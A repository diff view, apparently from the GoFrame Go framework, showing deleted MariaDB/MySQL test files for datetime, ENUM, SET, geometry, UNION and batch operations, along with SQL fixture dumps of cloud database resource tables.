}).Insert()
t.AssertNil(err)
// Test max datetime
_, err = db.Model(table).Data(g.Map{
"dt": "9999-12-31 23:59:59",
}).Insert()
t.AssertNil(err)
// Verify boundaries
all, err := db.Model(table).Order("id").All()
t.AssertNil(err)
t.Assert(len(all), 2)
t.Assert(all[0]["dt"].String(), "1000-01-01 00:00:00")
t.Assert(all[1]["dt"].String(), "9999-12-31 23:59:59")
})
}
// Test_DataType_Datetime_Null tests NULL datetime
func Test_DataType_Datetime_Null(t *testing.T) {
table := "test_datetime_null_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, dt DATETIME)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert NULL
_, err := db.Model(table).Data(g.Map{
"dt": nil,
}).Insert()
t.AssertNil(err)
// Verify NULL
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["dt"].IsNil(), true)
})
}
// Test_DataType_Datetime_Update tests datetime updates
func Test_DataType_Datetime_Update(t *testing.T) {
table := "test_datetime_update_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, dt DATETIME)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert initial datetime
dt1 := "2024-01-01 10:00:00"
_, err := db.Model(table).Data(g.Map{
"dt": dt1,
}).Insert()
t.AssertNil(err)
// Update datetime
dt2 := "2024-12-31 23:59:59"
_, err = db.Model(table).Data(g.Map{
"dt": dt2,
}).Where("id", 1).Update()
t.AssertNil(err)
// Verify update
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["dt"].String(), dt2)
})
}
// Test_DataType_Enum_Valid tests valid ENUM values
func Test_DataType_Enum_Valid(t *testing.T) {
table := "test_enum_valid_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, status ENUM('pending','approved','rejected'))")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert all valid values
_, err := db.Model(table).Data(g.List{
g.Map{"status": "pending"},
g.Map{"status": "approved"},
g.Map{"status": "rejected"},
}).Insert()
t.AssertNil(err)
// Verify all values
all, err := db.Model(table).Order("id").All()
t.AssertNil(err)
t.Assert(len(all), 3)
t.Assert(all[0]["status"].String(), "pending")
t.Assert(all[1]["status"].String(), "approved")
t.Assert(all[2]["status"].String(), "rejected")
})
}
// Test_DataType_Enum_Invalid tests invalid ENUM values (should fail or truncate)
func Test_DataType_Enum_Invalid(t *testing.T) {
table := "test_enum_invalid_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, status ENUM('pending','approved','rejected'))")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Attempt to insert invalid value (should fail in strict mode)
_, err := db.Model(table).Data(g.Map{
"status": "invalid_status",
}).Insert()
// In strict SQL mode, this should produce an error
// In non-strict mode, it might insert empty string
t.AssertNE(err, nil)
})
}
// Test_DataType_Set_Valid tests valid SET values
func Test_DataType_Set_Valid(t *testing.T) {
table := "test_set_valid_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, permissions SET('read','write','execute'))")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert single value
_, err := db.Model(table).Data(g.Map{
"permissions": "read",
}).Insert()
t.AssertNil(err)
// Insert multiple values
_, err = db.Model(table).Data(g.Map{
"permissions": "read,write",
}).Insert()
t.AssertNil(err)
// Insert all values
_, err = db.Model(table).Data(g.Map{
"permissions": "read,write,execute",
}).Insert()
t.AssertNil(err)
// Verify all values
all, err := db.Model(table).Order("id").All()
t.AssertNil(err)
t.Assert(len(all), 3)
t.Assert(all[0]["permissions"].String(), "read")
t.Assert(all[1]["permissions"].String(), "read,write")
t.Assert(all[2]["permissions"].String(), "read,write,execute")
})
}
// Test_DataType_Set_Empty tests empty SET values
func Test_DataType_Set_Empty(t *testing.T) {
table := "test_set_empty_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, permissions SET('read','write','execute'))")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert empty SET
_, err := db.Model(table).Data(g.Map{
"permissions": "",
}).Insert()
t.AssertNil(err)
// Verify empty
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["permissions"].String(), "")
})
}
// Test_DataType_Geometry_Point tests POINT geometry type
func Test_DataType_Geometry_Point(t *testing.T) {
table := "test_geo_point_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, location POINT)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert POINT using ST_GeomFromText
_, err := db.Exec(ctx, fmt.Sprintf("INSERT INTO %s (location) VALUES (ST_GeomFromText('POINT(116.4074 39.9042)'))", table))
t.AssertNil(err)
// Query POINT using ST_AsText
one, err := db.Model(table).Fields("ST_AsText(location) as location_text").Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["location_text"].String(), "POINT(116.4074 39.9042)")
})
}
// Test_DataType_Geometry_Polygon tests POLYGON geometry type
func Test_DataType_Geometry_Polygon(t *testing.T) {
table := "test_geo_polygon_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, area POLYGON)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert POLYGON (rectangle)
polygon := "POLYGON((0 0, 10 0, 10 10, 0 10, 0 0))"
_, err := db.Exec(ctx, fmt.Sprintf("INSERT INTO %s (area) VALUES (ST_GeomFromText('%s'))", table, polygon))
t.AssertNil(err)
// Query POLYGON (normalize spaces for comparison)
one, err := db.Model(table).Fields("ST_AsText(area) as area_text").Where("id", 1).One()
t.AssertNil(err)
expected := "POLYGON((0 0,10 0,10 10,0 10,0 0))"
actual := strings.ReplaceAll(one["area_text"].String(), ", ", ",") // Remove spaces after commas
t.Assert(actual, expected)
})
}
// Test_DataType_Geometry_Null tests NULL geometry values
func Test_DataType_Geometry_Null(t *testing.T) {
table := "test_geo_null_" + gtime.TimestampMicroStr()
_, err := db.Exec(ctx, "CREATE TABLE "+table+" (id INT PRIMARY KEY AUTO_INCREMENT, location POINT)")
if err != nil {
t.Fatal(err)
}
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert NULL
_, err := db.Model(table).Data(g.Map{
"location": nil,
}).Insert()
t.AssertNil(err)
// Verify NULL
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["location"].IsNil(), true)
})
}

File diff suppressed because it is too large Load Diff

View File

@ -1,146 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mariadb_test
import (
"testing"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
)
func Test_Union(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
r, err := db.Union(
db.Model(table).Where("id", 1),
db.Model(table).Where("id", 2),
db.Model(table).WhereIn("id", g.Slice{1, 2, 3}).OrderDesc("id"),
).OrderDesc("id").All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], 3)
t.Assert(r[1]["id"], 2)
t.Assert(r[2]["id"], 1)
})
gtest.C(t, func(t *gtest.T) {
r, err := db.Union(
db.Model(table).Where("id", 1),
db.Model(table).Where("id", 2),
db.Model(table).WhereIn("id", g.Slice{1, 2, 3}).OrderDesc("id"),
).OrderDesc("id").One()
t.AssertNil(err)
t.Assert(r["id"], 3)
})
}
func Test_UnionAll(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
r, err := db.UnionAll(
db.Model(table).Where("id", 1),
db.Model(table).Where("id", 2),
db.Model(table).WhereIn("id", g.Slice{1, 2, 3}).OrderDesc("id"),
).OrderDesc("id").All()
t.AssertNil(err)
t.Assert(len(r), 5)
t.Assert(r[0]["id"], 3)
t.Assert(r[1]["id"], 2)
t.Assert(r[2]["id"], 2)
t.Assert(r[3]["id"], 1)
t.Assert(r[4]["id"], 1)
})
gtest.C(t, func(t *gtest.T) {
r, err := db.UnionAll(
db.Model(table).Where("id", 1),
db.Model(table).Where("id", 2),
db.Model(table).WhereIn("id", g.Slice{1, 2, 3}).OrderDesc("id"),
).OrderDesc("id").One()
t.AssertNil(err)
t.Assert(r["id"], 3)
})
}
func Test_Model_Union(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table).Union(
db.Model(table).Where("id", 1),
db.Model(table).Where("id", 2),
db.Model(table).WhereIn("id", g.Slice{1, 2, 3}).OrderDesc("id"),
).OrderDesc("id").All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], 3)
t.Assert(r[1]["id"], 2)
t.Assert(r[2]["id"], 1)
})
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table).Union(
db.Model(table).Where("id", 1),
db.Model(table).Where("id", 2),
db.Model(table).WhereIn("id", g.Slice{1, 2, 3}).OrderDesc("id"),
).OrderDesc("id").One()
t.AssertNil(err)
t.Assert(r["id"], 3)
})
}
func Test_Model_UnionAll(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table).UnionAll(
db.Model(table).Where("id", 1),
db.Model(table).Where("id", 2),
db.Model(table).WhereIn("id", g.Slice{1, 2, 3}).OrderDesc("id"),
).OrderDesc("id").All()
t.AssertNil(err)
t.Assert(len(r), 5)
t.Assert(r[0]["id"], 3)
t.Assert(r[1]["id"], 2)
t.Assert(r[2]["id"], 2)
t.Assert(r[3]["id"], 1)
t.Assert(r[4]["id"], 1)
})
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table).UnionAll(
db.Model(table).Where("id", 1),
db.Model(table).Where("id", 2),
db.Model(table).WhereIn("id", g.Slice{1, 2, 3}).OrderDesc("id"),
).OrderDesc("id").One()
t.AssertNil(err)
t.Assert(r["id"], 3)
})
}

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -1,151 +0,0 @@
DROP TABLE IF EXISTS `common_resource`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `common_resource` (
`id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
`app_id` bigint(20) NOT NULL,
`resource_id` varchar(64) NOT NULL,
`src_instance_id` varchar(64) DEFAULT NULL,
`region` varchar(36) DEFAULT NULL,
`zone` varchar(36) DEFAULT NULL,
`database_kind` varchar(20) NOT NULL,
`source_type` varchar(64) NOT NULL,
`ip` varchar(64) DEFAULT NULL,
`port` int(10) DEFAULT NULL,
`vpc_id` varchar(20) DEFAULT NULL,
`subnet_id` varchar(20) DEFAULT NULL,
`proxy_ip` varchar(64) DEFAULT NULL,
`proxy_port` int(10) DEFAULT NULL,
`proxy_id` bigint(20) DEFAULT NULL,
`proxy_snat_ip` varchar(64) DEFAULT NULL,
`lease_at` timestamp NULL DEFAULT NULL,
`uin` varchar(32) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `unique_resource` (`app_id`,`src_instance_id`,`vpc_id`,`subnet_id`,`ip`,`port`),
KEY `resource_id` (`resource_id`)
) ENGINE=InnoDB AUTO_INCREMENT=21 DEFAULT CHARSET=utf8mb4 COMMENT='资源公共信息表';
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `common_resource`
--
LOCK TABLES `common_resource` WRITE;
/*!40000 ALTER TABLE `common_resource` DISABLE KEYS */;
INSERT INTO `common_resource` VALUES (1,1,'2','2','2','3','1','1','1',1,'1','1','1',1,1,'1',NULL,''),(3,2,'3','3','3','3','3','3','3',3,'3','3','3',3,3,'3',NULL,''),(18,1303697168,'dmc-rgnh9qre','vdb-6b6m3u1u','ap-guangzhou','','vdb','cloud','10.0.1.16',80,'vpc-m3dchft7','subnet-9as3a3z2','9.27.72.189',11131,228476,'169.254.128.5, ','2023-11-08 08:13:04',''),(20,1303697168,'dmc-4grzi4jg','tdsqlshard-313spncx','ap-guangzhou','','tdsql','cloud','10.255.0.27',3306,'vpc-407k0e8x','subnet-qhkkk3bo','30.86.239.200',24087,0,'',NULL,'');
/*!40000 ALTER TABLE `common_resource` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `managed_resource`
--
DROP TABLE IF EXISTS `managed_resource`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `managed_resource` (
`id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
`instance_id` varchar(64) NOT NULL,
`resource_id` varchar(64) NOT NULL,
`resource_name` varchar(64) DEFAULT NULL,
`status` varchar(36) NOT NULL DEFAULT 'valid',
`status_message` varchar(64) DEFAULT NULL,
`user` varchar(64) NOT NULL,
`password` varchar(1024) NOT NULL,
`pay_mode` tinyint(1) DEFAULT '0',
`safe_publication` bit(1) DEFAULT b'0',
`created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`updated_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`expired_at` timestamp NULL DEFAULT NULL,
`deleted` tinyint(1) NOT NULL DEFAULT '0',
`resource_mark_id` int(11) DEFAULT NULL,
`comments` varchar(64) DEFAULT NULL,
`rule_template_id` varchar(64) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `resource_id` (`resource_id`),
KEY `instance_id` (`instance_id`)
) ENGINE=InnoDB AUTO_INCREMENT=7 DEFAULT CHARSET=utf8mb4 COMMENT='管控实例表';
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `managed_resource`
--
LOCK TABLES `managed_resource` WRITE;
/*!40000 ALTER TABLE `managed_resource` DISABLE KEYS */;
INSERT INTO `managed_resource` VALUES (1,'2','3','1','1','1','1','1',1,_binary '','2023-11-06 12:14:21','2023-11-06 12:14:21',NULL,1,1,'1',''),(2,'3','2','1','1','1','1','1',1,_binary '\0','2023-11-06 12:15:07','2023-11-06 12:15:07',NULL,1,2,'1',''),(5,'dmcins-jxy0x75m','dmc-rgnh9qre','erichmao-vdb-test','invalid','The Ip field is required','root','2e39af3dd1d447e2b1437b40c62c35995fa22b370c7455ff7815dace3a6e8891ccadcfc893fe1342a4102d742bd7a3e603cd0ac1fcdc072d7c0b5be5836ec87306981b629f9b59aedf0316e9504ab172fa1c95756d5b260114e4feaa0b19223fb61cb268cc4818307ed193dbab830cf556b91cde182686eb70f70ea77f69eff66230dec2ce92bd3352cad31abf47597a5cc6a0d638381dc3bae7aa1b142730790a6d4cefdef1bd460061c966ad5008c2b5fc971b7f4d7dddffa5b1456c45e2917763dd8fffb1fa7fc4783feca95dafc9a9f4edf21b0579f76b0a3154f087e3b9a7fc49af8ff92b12e7b03caa865e72e777dd9d35a11910df0d55ead90e47d5f8',1,_binary '','2023-11-08 08:13:20','2023-11-09 05:31:07',NULL,0,11,NULL,'12345'),(6,'dmcins-erxms6ya','dmc-4grzi4jg','erichmao-vdb-test','invalid','The Ip field is required','leotaowang','641d846cf75bc7944202251d97dca8335f7f149dd4fd911ca5b87c71ef1dc5d0a66c4e5021ef7ad53136cda2fb2567d34e3dd1a7666e3f64ebf532eb2a55d84952aac86b4211f563f7b9da7dd0f88ec288d6680d3513cea0c1b7ad7babb474717f77ebbc9d63bb458adaf982887da9e63df957ffda572c1c3ed187471b99fdc640b45fed76a6d50dc1090eee79b4d94d056c4d43416133481f55bd040759398680104a84d801e6475dcfe919a00859908296747430b728a00c8d54256ae220235a138e0bbf08fe8b6fc8589971436b55bff966154721a91adbdc9c2b6f50ef5849ed77e5b028116abac51584b8d401cd3a88d18df127006358ed33fc3fa6f480',1,_binary '','2023-11-08 22:15:17','2023-11-09 05:31:07',NULL,0,11,NULL,'12345');
/*!40000 ALTER TABLE `managed_resource` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `rules_template`
--
DROP TABLE IF EXISTS `rules_template`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `rules_template` (
`id` bigint(20) NOT NULL AUTO_INCREMENT,
`app_id` bigint(20) DEFAULT NULL,
`name` varchar(255) NOT NULL,
`database_kind` varchar(64) DEFAULT NULL,
`is_default` tinyint(1) NOT NULL DEFAULT '0',
`win_rules` varchar(2048) DEFAULT NULL,
`inception_rules` varchar(2048) DEFAULT NULL,
`auto_exec_rules` varchar(2048) DEFAULT NULL,
`order_check_step` varchar(2048) DEFAULT NULL,
`template_id` varchar(64) NOT NULL DEFAULT '',
`version` int(11) NOT NULL DEFAULT '1',
`deleted` tinyint(1) NOT NULL DEFAULT '0',
`create_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`update_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
`is_system` tinyint(1) NOT NULL DEFAULT '0',
`uin` varchar(64) DEFAULT NULL,
`subAccountUin` varchar(64) DEFAULT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `uniq_template_id` (`template_id`),
UNIQUE KEY `uniq_name` (`name`,`app_id`,`deleted`,`uin`) USING BTREE
) ENGINE=InnoDB AUTO_INCREMENT=14 DEFAULT CHARSET=utf8mb4;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `rules_template`
--
LOCK TABLES `rules_template` WRITE;
/*!40000 ALTER TABLE `rules_template` DISABLE KEYS */;
/*!40000 ALTER TABLE `rules_template` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `resource_mark`
--
DROP TABLE IF EXISTS `resource_mark`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `resource_mark` (
`id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
`app_id` bigint(20) NOT NULL,
`mark_name` varchar(64) NOT NULL,
`color` varchar(11) NOT NULL,
`creator` varchar(32) NOT NULL,
`created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`updated_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `app_id_name` (`app_id`,`mark_name`)
) ENGINE=InnoDB AUTO_INCREMENT=11 DEFAULT CHARSET=utf8 COMMENT='标签信息表';
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `resource_mark`
--
LOCK TABLES `resource_mark` WRITE;
/*!40000 ALTER TABLE `resource_mark` DISABLE KEYS */;
INSERT INTO `resource_mark` VALUES (10,1,'test','red','1','2023-11-06 02:45:46','2023-11-06 02:45:46');
/*!40000 ALTER TABLE `resource_mark` ENABLE KEYS */;
UNLOCK TABLES;

View File

@ -1 +0,0 @@
SELECT `managed_resource`.`resource_id`,`managed_resource`.`user`,`managed_resource`.`status`,`managed_resource`.`status_message`,`managed_resource`.`safe_publication`,`managed_resource`.`rule_template_id`,`managed_resource`.`created_at`,`managed_resource`.`comments`,`managed_resource`.`expired_at`,`managed_resource`.`resource_mark_id`,`managed_resource`.`instance_id`,`managed_resource`.`resource_name`,`managed_resource`.`pay_mode`,`resource_mark`.`mark_name`,`resource_mark`.`color`,`rules_template`.`name`,`common_resource`.`src_instance_id`,`common_resource`.`database_kind`,`common_resource`.`source_type`,`common_resource`.`ip`,`common_resource`.`port` FROM `managed_resource` LEFT JOIN `common_resource` ON (`managed_resource`.`resource_id`=`common_resource`.`resource_id`) LEFT JOIN `resource_mark` ON (`managed_resource`.`resource_mark_id` = `resource_mark`.`id`) LEFT JOIN `rules_template` ON (`managed_resource`.`rule_template_id` = `rules_template`.`template_id`) ORDER BY `src_instance_id` ASC

View File

@ -1,7 +0,0 @@
CREATE TABLE `instance` (
`f_id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(255) NULL DEFAULT '',
PRIMARY KEY (`f_id`) USING BTREE
) ENGINE = InnoDB;
INSERT INTO `instance` VALUES (1, 'john');

View File

@ -1,33 +0,0 @@
CREATE TABLE `table_a` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`alias` varchar(255) NULL DEFAULT '',
PRIMARY KEY (`id`) USING BTREE
) ENGINE = InnoDB;
INSERT INTO `table_a` VALUES (1, 'table_a_test1');
INSERT INTO `table_a` VALUES (2, 'table_a_test2');
CREATE TABLE `table_b` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`table_a_id` int(11) NOT NULL,
`alias` varchar(255) NULL DEFAULT '',
PRIMARY KEY (`id`) USING BTREE
) ENGINE = InnoDB;
INSERT INTO `table_b` VALUES (10, 1, 'table_b_test1');
INSERT INTO `table_b` VALUES (20, 2, 'table_b_test2');
INSERT INTO `table_b` VALUES (30, 1, 'table_b_test3');
INSERT INTO `table_b` VALUES (40, 2, 'table_b_test4');
CREATE TABLE `table_c` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`table_b_id` int(11) NOT NULL,
`alias` varchar(255) NULL DEFAULT '',
PRIMARY KEY (`id`) USING BTREE
) ENGINE = InnoDB;
INSERT INTO `table_c` VALUES (100, 10, 'table_c_test1');
INSERT INTO `table_c` VALUES (200, 10, 'table_c_test2');
INSERT INTO `table_c` VALUES (300, 20, 'table_c_test3');
INSERT INTO `table_c` VALUES (400, 30, 'table_c_test4');

View File

@ -1,5 +0,0 @@
CREATE TABLE IF NOT EXISTS %s (
id int(10) unsigned NOT NULL AUTO_INCREMENT,
name varchar(45) NOT NULL,
PRIMARY KEY (id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

View File

@ -1,5 +0,0 @@
CREATE TABLE IF NOT EXISTS %s (
uid int(10) unsigned NOT NULL AUTO_INCREMENT,
address varchar(45) NOT NULL,
PRIMARY KEY (uid)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

View File

@ -1,6 +0,0 @@
CREATE TABLE IF NOT EXISTS %s (
id int(10) unsigned NOT NULL AUTO_INCREMENT,
uid int(10) unsigned NOT NULL,
score int(10) unsigned NOT NULL,
PRIMARY KEY (id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

View File

@ -1,337 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mysql_test
import (
"context"
"fmt"
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
)
// Test_Model_Batch_Insert tests batch insert with different batch sizes
func Test_Model_Batch_Insert(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Prepare data for batch insert
data := g.Slice{}
for i := 1; i <= 10; i++ {
data = append(data, g.Map{
"id": i,
"passport": fmt.Sprintf("batch_user_%d", i),
"password": fmt.Sprintf("batch_pass_%d", i),
"nickname": fmt.Sprintf("batch_name_%d", i),
})
}
// Batch insert with batch size 3
result, err := db.Model(table).Batch(3).Data(data).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 10)
// Verify all records were inserted
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 10)
// Verify specific records
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "batch_user_1")
one, err = db.Model(table).Where("id", 10).One()
t.AssertNil(err)
t.Assert(one["passport"], "batch_user_10")
})
}
// Test_Model_Batch_Replace tests batch replace operation
func Test_Model_Batch_Replace(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Initial insert
data := g.Slice{}
for i := 1; i <= 5; i++ {
data = append(data, g.Map{
"id": i,
"passport": fmt.Sprintf("original_%d", i),
})
}
_, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
// Batch replace with overlapping ids
replaceData := g.Slice{}
for i := 3; i <= 8; i++ {
replaceData = append(replaceData, g.Map{
"id": i,
"passport": fmt.Sprintf("replaced_%d", i),
"nickname": fmt.Sprintf("new_name_%d", i),
})
}
result, err := db.Model(table).Batch(2).Data(replaceData).Replace()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.AssertGT(n, 0)
// Verify replaced records
one, err := db.Model(table).Where("id", 3).One()
t.AssertNil(err)
t.Assert(one["passport"], "replaced_3")
t.Assert(one["nickname"], "new_name_3")
// Verify new records
one, err = db.Model(table).Where("id", 8).One()
t.AssertNil(err)
t.Assert(one["passport"], "replaced_8")
// Verify total count
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 8) // ids 1-8
})
}
// Test_Model_Batch_Save tests batch save operation
func Test_Model_Batch_Save(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Initial data
data := g.Slice{}
for i := 1; i <= 5; i++ {
data = append(data, g.Map{
"id": i,
"passport": fmt.Sprintf("save_user_%d", i),
})
}
_, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
// Batch save with overlapping and new ids
saveData := g.Slice{}
for i := 3; i <= 8; i++ {
saveData = append(saveData, g.Map{
"id": i,
"passport": fmt.Sprintf("saved_%d", i),
"nickname": fmt.Sprintf("save_name_%d", i),
})
}
result, err := db.Model(table).Batch(3).Data(saveData).Save()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.AssertGT(n, 0)
// Verify updated records
one, err := db.Model(table).Where("id", 3).One()
t.AssertNil(err)
t.Assert(one["passport"], "saved_3")
// Verify inserted records
one, err = db.Model(table).Where("id", 8).One()
t.AssertNil(err)
t.Assert(one["passport"], "saved_8")
// Verify total count
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 8)
})
}
// Test_Model_Batch_LargeBatch tests batch operation with large dataset
func Test_Model_Batch_LargeBatch(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Prepare 1000+ records
data := g.Slice{}
totalRecords := 1500
for i := 1; i <= totalRecords; i++ {
data = append(data, g.Map{
"id": i,
"passport": fmt.Sprintf("large_user_%d", i),
"nickname": fmt.Sprintf("large_name_%d", i),
})
}
// Batch insert with batch size 100
result, err := db.Model(table).Batch(100).Data(data).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, totalRecords)
// Verify count
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, totalRecords)
// Verify first and last records
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "large_user_1")
one, err = db.Model(table).Where("id", totalRecords).One()
t.AssertNil(err)
t.Assert(one["passport"], fmt.Sprintf("large_user_%d", totalRecords))
})
}
// Test_Model_Batch_EmptyBatch tests batch operation with empty data
func Test_Model_Batch_EmptyBatch(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Empty slice
data := g.Slice{}
// Batch insert with empty data should return error
_, err := db.Model(table).Batch(10).Data(data).Insert()
t.AssertNE(err, nil)
t.AssertIN(err.Error(), "data list cannot be empty")
// Verify no records inserted
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 0)
})
}
// Test_Model_Batch_SingleRecord tests batch operation with single record
func Test_Model_Batch_SingleRecord(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Single record batch insert
data := g.Slice{
g.Map{
"id": 1,
"passport": "single_user",
"nickname": "single_name",
},
}
result, err := db.Model(table).Batch(10).Data(data).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify the record
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "single_user")
t.Assert(one["nickname"], "single_name")
})
}
// Test_Model_Batch_VsBatch tests performance comparison between different batch sizes
func Test_Model_Batch_VsBatch(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Prepare data
data := g.Slice{}
for i := 1; i <= 100; i++ {
data = append(data, g.Map{
"id": i,
"passport": fmt.Sprintf("perf_user_%d", i),
})
}
// Test with batch size 1
result, err := db.Model(table).Batch(1).Data(data).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 100)
// Clean up
_, err = db.Model(table).Where("1=1").Delete()
t.AssertNil(err)
// Test with batch size 10
result, err = db.Model(table).Batch(10).Data(data).Insert()
t.AssertNil(err)
n, _ = result.RowsAffected()
t.Assert(n, 100)
// Clean up
_, err = db.Model(table).Where("1=1").Delete()
t.AssertNil(err)
// Test with batch size 50
result, err = db.Model(table).Batch(50).Data(data).Insert()
t.AssertNil(err)
n, _ = result.RowsAffected()
t.Assert(n, 100)
// All batch sizes should produce same result
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 100)
})
}
// Test_Model_Batch_WithTransaction tests batch operation within transaction
